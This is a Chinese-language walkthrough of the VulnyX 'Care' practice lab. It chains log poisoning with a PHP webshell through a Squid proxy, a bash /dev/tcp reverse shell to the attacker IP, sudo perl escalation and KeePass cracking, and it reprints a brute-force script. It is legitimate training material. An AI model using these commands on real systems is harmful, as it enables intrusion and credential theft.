vulnyx-Care靶场渗透

https://vulnyx.com/

  1. 将两台虚拟机网络连接都改为NAT模式

  2. 攻击机上做namp局域网扫描发现靶机

    nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.142

  1. 扫描服务器开放了哪些端口,有什么服务

    nmap -sV -T4 -p- -A 192.168.23.142

A. 3128/tcp - Squid http proxy 5.7 (高优先级)

这是本次扫描中最"诱人"的部分。Squid 是一个高性能的代理缓存服务器。

  • 潜在风险SSRF(服务端请求伪造)内网代理绕过
  • 渗透思路
    • 配置文件扫描:Squid 如果配置不当(默认 ACL 允许),你可以将其作为跳板,访问目标机原本不对外开放的本地端口(如 127.0.0.1 上的服务)。
    • 版本漏洞:Squid 5.7 相对较新,但需注意是否存在堆溢出或缓冲区溢出漏洞。
    • 测试方法 :在本地浏览器设置代理为 192.168.23.142:3128,尝试访问 http://127.0.0.1 或内网其他 IP。

B. 80/tcp - Apache httpd 2.4.62 (Web 入口)

  • 指纹vCare Free Bootstrap Theme 这是一个医疗/护理类的 Bootstrap 模板。
  • 渗透思路
    • 目录爆破 :使用 dirsearchgobuster 寻找后台管理页面、上传点或 .git 等敏感目录。
    • 交互功能 :既然是医疗主题,关注是否有"预约"、"留言"或"联系我们"等可能存在 SQL 注入XSS文件上传 的地方。
    • CMS 识别:检查是否是基于 WordPress 或某个简易 CMS 修改的。

C. 22/tcp - OpenSSH 9.2p1 (Debian 12)

  • 状态:非常稳健,通常不建议作为首选攻击路径。
  • 渗透思路
    • 除非你在其他地方(比如 80 端口的 Web 源码里)找到了用户名和密码,否则不建议暴力破解。
    • 信息收集:记录下版本号,这证实了系统是 Debian 12。
  1. 尝试访问 80 端口存在的 web 服务

查看页面源代码发现该网页存在文件包含功能

http://192.168.23.142/page.php?i=about.html

根据这个文件包含语句构造漏洞验证语句,看是否存在文件包含漏洞

http://192.168.23.142/page.php?i=/etc/passwd

  1. 尝试给服务器发送请求,然后文件包含日志文件查看内容是否包含了刚才发送的请求

    curl -sI "http://192.168.23.142/" | grep "Server"

http://192.168.23.142/page.php?i=/var/log/squid/access.log

能够看到我的请求,那么可以发送一个包含一句话木马的请求,尝试污染日志文件构造命令执行漏洞

复制代码
curl -sX GET --proxy "http://192.168.23.142:3128" "http://127.0.0.1:80" -A '<?php system($_GET["cmd"]); ?>'

验证漏洞是否构造完成

复制代码
curl -sX GET "http://192.168.23.142/page.php?i=/var/log/squid/access.log&cmd=id" | tail -n 2

构造语句形成反弹 shell

http://192.168.23.142/page.php?i=/var/log/squid/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.23.128/4444+0>%261'

预先使用 nc 开启对 4444 端口的监听

复制代码
nc -lvvp 4444

成功 getshell

  1. 信息收集一下

    id
    uname -a
    lsb_release -a
    ls /home
    ls /home/dorian

  1. 发现具有 sudo 权限,可以 dorian 权限执行 perl 命令

尝试提权为 dorian

复制代码
sudo -u dorian perl -e 'exec "/bin/bash"'
  1. python3 启动一个可交互式 shell

    python3 -c 'import pty;pty.spawn("/bin/bash")'

找到一个隐藏文件夹下面存在一个 data.txt,但本质上不是文本文件

复制代码
file .bak/data.txt

找到了一个 KeePass 密码数据库文件 (KDBX) 。这通常是提权(Privilege Escalation)的关键,因为数据库里可能存储了 root 用户的密码、SSH 私钥或者其他内网服务的凭据。

  1. 从靶机上面下载到这个文件,借用 web 服务

    python3 -m http.server 1234

然后 kali 下载这个文件

复制代码
wget -q "http://192.168.23.142:1234/.bak/data.txt"
  1. 用keepass2john 无法破解.kdbx 文件

    mv data.txt db.kdbx
    keepass2john db.kdbx

更换工具进行破解

复制代码
wget --no-check-certificate -q "https://raw.githubusercontent.com/d4t4s3c/KDBXcrack/refs/heads/main/KDBXcrack"
chmod +x KDBXcrack              
gunzip /usr/share/wordlists/rockyou.txt.gz
./KDBXcrack -f db.kdbx -w /usr/share/wordlists/rockyou.txt

最后成功爆出来密码为diamond

  1. 使用keepassxc打开数据库(KDBX)

https://keepassxc.org/

复制代码
apt update
apt install keepassxc
keepassxc db.kdbx 

得到 root用户密码r00tB0$$123!

  1. ssh 上线 root 用户,拿到 flag

    ssh root@192.168.23.142
    cat root.txt

KDBXcrack 攻击脚本分析

https://raw.githubusercontent.com/d4t4s3c/KDBXcrack/refs/heads/main/KDBXcrack

复制代码
#!/bin/bash

declare -A COLORS=(
  [RED]="\e[91m"
  [GREEN]="\e[92m"
  [YELLOW]="\e[93m"
  [GREY]="\e[90m"
  [BLUE]="\e[94m"
  [WHITE]="\e[97m"
  [END]="\e[0m"
)

declare -A GLOBAL=(
  [SEP]="─────────────────────────────────"
  [BOX1]="[+]"
  [BOX2]="[-]"
  [BOX3]="[*]"
  [BOX4]="[i]"
)

trap ctrl_c INT

function dependencies(){
  which keepassxc-cli &>/dev/null
  if [ "$(echo $?)" != "0" ]; then
    apt install -y keepassx &>/dev/null
  fi
}

function banner(){
  echo
  echo -e "${COLORS[GREEN]}╭╮╭━┳━━━┳━━╮╭━╮╭━╮           ╭╮  ${COLORS[END]}"
  echo -e "${COLORS[GREEN]}┃┃┃╭┻╮╭╮┃╭╮┃╰╮╰╯╭╯           ┃┃  ${COLORS[END]}"
  echo -e "${COLORS[GREEN]}┃╰╯╯ ┃┃┃┃╰╯╰╮╰╮╭╯ ╭━━┳━┳━━┳━━┫┃╭╮${COLORS[END]}"
  echo -e "${COLORS[GREEN]}┃╭╮┃ ┃┃┃┃╭━╮┃╭╯╰╮ ┃╭━┫╭┫╭╮┃╭━┫╰╯╯${COLORS[END]}"
  echo -e "${COLORS[GREEN]}┃┃┃╰┳╯╰╯┃╰━╯┣╯╭╮╰╮┃╰━┫┃┃╭╮┃╰━┫╭╮╮${COLORS[END]}"
  echo -e "${COLORS[GREEN]}╰╯╰━┻━━━┻━━━┻━╯╰━╯╰━━┻╯╰╯╰┻━━┻╯╰╯${COLORS[END]}"
  echo -e "${GLOBAL[SEP]}"
  echo -e " ${COLORS[WHITE]}code: ${COLORS[GREY]}d4t4s3c   ${COLORS[WHITE]}version: ${COLORS[GREY]}v1.0.0${COLORS[END]}"
  echo -e "${GLOBAL[SEP]}"
}

function help(){
  echo -e "\n Usage: ${COLORS[GREEN]}KDBXcrack ${COLORS[RED]}[OPTIONS]${COLORS[END]}\n"
  echo -e "   Get the master password from a KeePass database file (KDBX v4.x).\n"
  echo -e " Options:"
  echo -e "   ${COLORS[GREEN]}-f ${COLORS[RED]}<FILE>${COLORS[END]}      Specify the path where the KeePass database file is located."
  echo -e "   ${COLORS[GREEN]}-w ${COLORS[RED]}<WORDLIST>${COLORS[END]}  Specify the path where the wordlist is located."
  echo -e "   ${COLORS[GREEN]}-h ${COLORS[RED]}<HELP>${COLORS[END]}      Display this help message and exit.\n"
  echo -e " Examples:"
  echo -e "   ${COLORS[GREEN]}KDBXcrack -f database.kdbx -w rockyou.txt${COLORS[END]}"
  echo -e "   ${COLORS[GREEN]}KDBXcrack -h${COLORS[END]}\n"
  echo -e "${GLOBAL[SEP]}\n"
}

function info(){
  echo -e "${COLORS[YELLOW]}${GLOBAL[BOX4]} ${COLORS[WHITE]}Cracking | ${COLORS[YELLOW]}${FILE}${COLORS[END]}"
  echo -e "${COLORS[YELLOW]}${GLOBAL[BOX4]} ${COLORS[WHITE]}Wordlist | ${COLORS[YELLOW]}${WORDLIST}${COLORS[END]}"
}

function ctrl_c(){
  echo
  tput cnorm
  exit 1
}

while getopts ":f:w:" ARG; do
  case ${ARG} in
    f) FILE=${OPTARG}; let parameter_counter+=1 ;;
    w) WORDLIST=${OPTARG}; let parameter_counter+=1 ;;
  esac
done

if [[ -n "${FILE}" && -n "${WORDLIST}" ]]; then
  dependencies
  banner
  info
else
  banner
  help
  exit 0
fi

LINES=$(wc -l ${WORDLIST})
REGEX="([0-9]+).${WORDLIST}"
[[ ${LINES} =~ ${REGEX} ]]
SIZ="${BASH_REMATCH[1]}"
while IFS= read -r PASSWORD; do
  LINE=$((LINE + 1))
  PROGRESS=$((LINE * 100 / SIZ))
  echo -ne "\e[?25l\r\033[K${COLORS[BLUE]}${GLOBAL[BOX3]} ${COLORS[WHITE]}Status   | ${COLORS[BLUE]}${LINE}/${SIZ}/${PROGRESS}%/${PASSWORD}${COLORS[END]}"
  /bin/echo ${PASSWORD} | keepassxc-cli open ${FILE} &> /dev/null
  if [ $? -eq 0 ]; then
    echo -e "\n${COLORS[GREEN]}${GLOBAL[BOX1]} ${COLORS[WHITE]}Password | ${COLORS[GREEN]}${PASSWORD}${COLORS[END]}"
    echo -e "${GLOBAL[SEP]}\n"
    sleep 2
    tput cnorm
    exit 0
  fi
done < ${WORDLIST}
echo -e "\n${COLORS[RED]}${GLOBAL[BOX2]} ${COLORS[WHITE]}Fuck!    | ${COLORS[RED]}Password not found${COLORS[END]}"
echo -e "${GLOBAL[SEP]}\n"
sleep 2
tput cnorm
exit 0

这个脚本是一个基于 Bash 编写的 KeePass 数据库在线爆破工具 。它的核心原理并非像 John the RipperHashcat 那样通过哈希对比进行"离线"破解,而是利用 keepassxc-cli****命令行工具进行重复性的登录尝试

1. 核心破解机制

脚本最关键的部分在于这个 while 循环:

复制代码
while IFS= read -r PASSWORD; do
  ...
  /bin/echo ${PASSWORD} | keepassxc-cli open ${FILE} &> /dev/null
  if [ $? -eq 0 ]; then
    # 破解成功
  fi
done < ${WORDLIST}
  • 输入流重定向 :脚本通过 while read 逐行读取你指定的字典文件(如 rockyou.txt)。
  • 模拟交互keepassxc-cli open 命令原本需要用户手动输入密码。脚本使用 /bin/echo ${PASSWORD} | 通过管道将字典里的密码自动"喂"给程序。
  • 状态码判定 ( $?****)
    • 在 Linux 中,如果命令执行成功,返回值 $?0
    • 如果 keepassxc-cli 成功打开了数据库,说明密码正确,脚本输出结果并退出。
    • 如果密码错误,程序返回非零值,脚本继续尝试下一个密码。

2. 脚本功能模块解析

除了核心破解逻辑,脚本还做了大量的辅助工作:

A. 依赖检查 (dependencies)

复制代码
function dependencies(){
  which keepassxc-cli &>/dev/null
  if [ "$(echo $?)" != "0" ]; then
    apt install -y keepassx &>/dev/null
  fi
}
  • 它会检查系统是否安装了 keepassxc-cli。如果没有,它会尝试使用 apt 自动安装。这解释了为什么你之前运行类似的逻辑时会触发安装流程。

B. 进度计算与视觉优化

复制代码
LINES=$(wc -l ${WORDLIST})
PROGRESS=$((LINE * 100 / SIZ))
echo -ne "\e[?25l\r\033[K...${PROGRESS}%/${PASSWORD}"
  • 脚本先用 wc -l 统计字典总行数。
  • 在循环中实时计算 当前行 / 总行数 的百分比。
  • 使用转义字符 \r(回到行首)和 \e[?25l(隐藏光标),实现动态刷新的进度条效果,让你看到实时尝试的密码。

C. 参数处理 (getopts)

  • 使用 getopts 处理 -f (文件路径) 和 -w (字典路径) 参数,增加了脚本的灵活性。

3. 与离线破解(John/Hashcat)的优劣对比

|----------|--------------------------------|---------------------------------|
| 特性 | 离线破解 (keepass2john + john) | 该脚本 (keepassxc-cli 在线爆破) |
| 速度 | 极快。每秒可尝试数万至数百万次(取决于硬件)。 | 极慢。受限于系统调用和程序启动时间,每秒仅能尝试几次。 |
| 依赖 | 需要提取哈希值。 | 无需提取哈希,只要有 keepassxc-cli 即可。 |
| 原理 | 数学对比哈希。 | 模拟真实用户打开数据库的行为。 |
| 适用场景 | 密码复杂、字典巨大的情况。 | 字典很小(几百个词)或无法提取哈希的情况。 |


相关推荐
一名优秀的码农2 小时前
vulhub系列-70-Ripper(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
南湖北漠2 小时前
避免电子设备的电磁波干扰和电磁波互相干扰对我们生活的危害
网络·人工智能·计算机网络·其他·安全·生活
科技峰行者3 小时前
解析OpenClaw安全挑战及应对策略 构筑AI Agent安全新边界
网络·人工智能·科技·安全·aws·亚马逊·亚马逊云科技
heimeiyingwang3 小时前
【架构实战】容器安全最佳实践
安全·架构
鱼大大博客4 小时前
如何为网站选择合适的服务器?
网络·web安全·ddos
一名优秀的码农4 小时前
vulhub系列-80-Venom: 1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Mr.敦的私房菜5 小时前
Spring AI 企业增强版(含安全版与合规版
人工智能·安全·spring
Chuer_5 小时前
AI For BI是什么?一文拆解AI For BI应用落地!
大数据·数据库·人工智能·安全·数据分析·甘特图